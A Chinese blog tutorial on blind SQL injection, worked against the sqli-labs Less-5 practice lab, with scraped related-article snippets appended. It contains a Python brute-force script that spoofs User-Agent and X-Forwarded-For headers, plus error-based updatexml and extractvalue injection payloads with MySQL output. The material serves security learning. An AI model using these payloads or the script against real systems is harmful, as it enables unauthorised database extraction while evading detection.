SQL注入----盲注总结
盲注就是在 sql 注入过程中,sql 语句执行的选择后,由于开发人员的安全操作,并未把明显的错误返回到前端,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
盲注分为三类:
基于布尔 SQL 盲注 正常情况下返回一个界面,非正常情况下返回另一个界面,但是并未把SQL报错的信息显示出来
基于时间的 SQL 盲注 正常和非正常都返回一个界面,只能通过判断返回时间来注入
基于报错的 SQL 盲注 通过一些MySQL的函数,强制让数据库报错并返回
基于布尔 SQL 盲注
这里先得简单介绍几个MySQL中的基础函数,方便下面理解
left()、mid()和substr()left()
我一般只用mid()函数,其余的函数你可以去文章开头这篇文章去看,大佬写的比较详细,函数大概的语法如下
mid()函数
mid(column_name,start[,length]),此函数为截取字符串一部分。
参数:column_name :必需,要提取字符的字段。
start:必需,规定开始位置。
length() : 可选,要返回的字符数。如果省略,则mid()函数返回剩余文本。
这个盲注吧,你总不能真的一个个去试吧??最笨也是最聪明的方法,就是花几分钟,写个python脚本。
下面我们直接找个靶场练习练习
第五关就是布尔盲注,我这里先简单试了试,就直接写了个py拿脚本跑了,下面附上代码。先查看数据库的总体长度,在一个个爆破
import requests
import random def random_headers():#生成随机headers
user_agent = ['Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0',
'Mozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre',
'Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60',
'Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14',
'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5']
UA = random.choice(user_agent)
a = str(random.randint(1, 255))
b = str(random.randint(1, 255))
c = str(random.randint(1, 255))
random_XFF = '127.' + a + '.' + b + '.' + c
random_CI= '127.' + c + '.' + a + '.' + b
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'User-Agent': UA,
'X-Forwarded-For': random_XFF,
'Client-IP':random_CI,
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.8',
"Referer": "http://www.baidu.com/",
'Content-Type': 'application/x-www-form-urlencoded'}
return headers # 查看当前数据库的名称长度
for len in range(100):
urll = 'http://43.247.91.228:84/Less-5/?id=1%27%20and%20%20 length(database())='+str(len)+'--+'
r = requests.get(url=urll, headers=random_headers())
r.encoding = 'utf-8'
if ('You are in' in r.text):
print(len)
break # 盲注
x=['a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
for ii in range(8):
ii=ii+1
# print(ii)
for i in range(26):
url = 'http://43.247.91.228:84/Less-5/?id=1%27%20and%20mid(database(),'+str(ii)+',1)=%27' + x[i] + '%27%20--+'
# print(url)
r = requests.get(url=url, headers=random_headers())
r.encoding = 'utf-8'
if ('You are in' in r.text):
print(x[i])
continue
基于报错的盲注
基于报错的盲注就是构造payload让信息通过错误提示回显出来,主要有floor()报错、exp()报错、updatexml()报错
exp报错:根本不建议使用,对版本要求太高
select exp(~(select * FROM(SELECT USER())a));
用法介绍:updatexml(XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。第三个参数:new_value,String格式,替换查找到的符合条件的数据作用:改变文档中符合条件的节点的值
需要注意的是XPATH语法报错的是那些特殊字符,遇到特殊字符会报错,所以选择了ascii码为0x7e的字符~
另外,updatexml最多只能显示32位,需要配合SUBSTR或者reserve使用
mysql> select updatexml(1,concat(0x7e,(select database()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~security~' //假设数据库名过长看,使用substr()
mysql> select updatexml(1,concat(0x7e,(substr((select database()),1,5)),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~secur~'
mysql> select updatexml(1,concat(0x7e,(substr((select database()),5,12)),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~rity~'
//报错表内数据名
mysql> select updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~Dumb~'
在注入时的用法
1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)
extractvalue报错:同updatexml一样,限制长度也是32位
用法介绍:EXTRACTVALUE(XML_document, XPath_string);
函数解释:
extractvalue():从目标XML中返回包含所查询值的字符串。 EXTRACTVALUE (XML_document, XPath_string); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) concat:返回结果为连接参数产生的字符串。 0x7e:ASCII码,实为~,extractvalue()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,
mysql> select extractvalue(1,concat(0x7e,(select database()),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~security~' mysql> select extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~information_schema~' mysql> select extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~8cmsdata~'
在注入时的用法
1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e))
贴出各个报错注入可以实现的各个版本要求
SQL注入----盲注总结的更多相关文章
- SQL注入--盲注及报错注入
盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根 ...
- 关于sql注入盲注,谈谈自己的心得
1.没做防御的站点,拿上sqlmap直接怼就行了. 2.做了防御,有的用函数过滤了,有的用了waf(比如安全狗,云锁,华为云waf,360waf,知道创宇盾,护卫神等等) 这些就相当麻烦了,首先要探测 ...
- SQL注入 盲注
来源:http://www.cnblogs.com/cheatlove/articles/384233.html SQL注入攻击: (1) 脚本注入式的攻击(2) 恶意用户输入用来影响被执行的SQL脚 ...
- 防sql注入 盲注等措施 ESAPI的使用
SQL注入往往是在程序员编写包含用户输入的动态数据库查询时产生的,但其实防范SQL注入的方法非常简单.程序员只要a)不再写动态查询,或b)防止用户输入包含能够破坏查询逻辑的恶意SQL语句,就能够防范S ...
- 动态调试|Maccms SQL 注入分析(附注入盲注脚本)
0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Window ...
- SQL注入--显注和盲注中过滤逗号绕过
SQL注入逗号绕过 1.联合查询显注绕过逗号 在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联 ...
- sql bool盲注
[CISCN2019 总决赛 Day2 Web1]Easyweb 考察: robots.txt image.php?bak文件泄露,image.php.bak可以下载别的不大行 盲注 php日志挂马 ...
- SQL注入 手注与联合注入
SQL注入,吧sql命令插入到WEB表单,或输入域名或页面亲求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令: 得到数据库用户名和密码 1:在以,{ .asp?id=32( ...
- sql布尔盲注和时间盲注的二分脚本
布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...
随机推荐
- 苹果电脑清理软件CleanMyMac X好用吗?
为了维护mac系统健康,优化系统功能,我们需要定期给电脑进行清理.那么作为mac清理软件CleanMyMac X软件具备哪些独特性和实用性呢?今天就给大家说明一下. 1. 简洁大气的外观. 用户正版官 ...
- 你还在 if...else?代码这样写才好看!
前言 if...else 是所有高级编程语言都有的必备功能.但现实中的代码往往存在着过多的 if...else.虽然 if...else 是必须的,但滥用 if...else 会对代码的可读性.可维护 ...
- layui $().click() 失效问题
//使用此点击事件失效 $(".sub2").on('click', function() { alert('响应点击事件'); }); //将指定的事件绑定在document上, ...
- redis 压测与乐观锁
单线程没有出现并发问题. 链接太多爆炸了 把连接改到50,没有问题 改回1000: emmm159,看来相当一部分拒绝了 并且8180-10000到头了 cpu爆炸了 观察下这种程度的并发用乐观锁 一 ...
- Eclipse的新建工作空间如何用以前工作空间的配置
1.找到以前工作空间的配置目录:\.metadata\.plugins\org.eclipse.core.runtime 2.替换掉新的工作空间的配置目录:\.metadata\.plugins\or ...
- unity官网安装教程
于今天起记录与回忆游戏开发相关一些小目标 2020-12-01 第一篇正式的博客就从软件的安装开始吧 unity个人版是免费的不用刻意去找破解版什么的 unity官网安装 1.unity.cn uni ...
- Verilog单周期CPU(未完待续)
单周期CPU:指令周期=CPU周期 Top模块作为数据通路 运算器中有ALU,通路寄存器(R1.R2.R3.R4),数据缓冲寄存器(鉴于书上的运算器只有R0)........... 此为ALU和通用寄 ...
- Canal Admin
一.Canal Admin 安装与配置 1.1 下载 wget https://github.com/alibaba/canal/releases/download/canal-1.1.4/canal ...
- 九. Vuex详解
1. 理解Vuex 1.1 Vuex功能 官方解释 Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式.它采用 集中式存储 管理应用的所有组件的状态,并以相应的规则保证状态以一种可预测的方 ...
- 通过Dbeaver创建表格的时候,设置主键
通过Dbeaver创建表格的时候,设置主键 Dbeaver介绍: 这是一个开源的数据库连接工具,你需要安装jre才可以使用这个软件 在使用Dbeaver创建表的时候,会发现,不能直观地设置主键 这 ...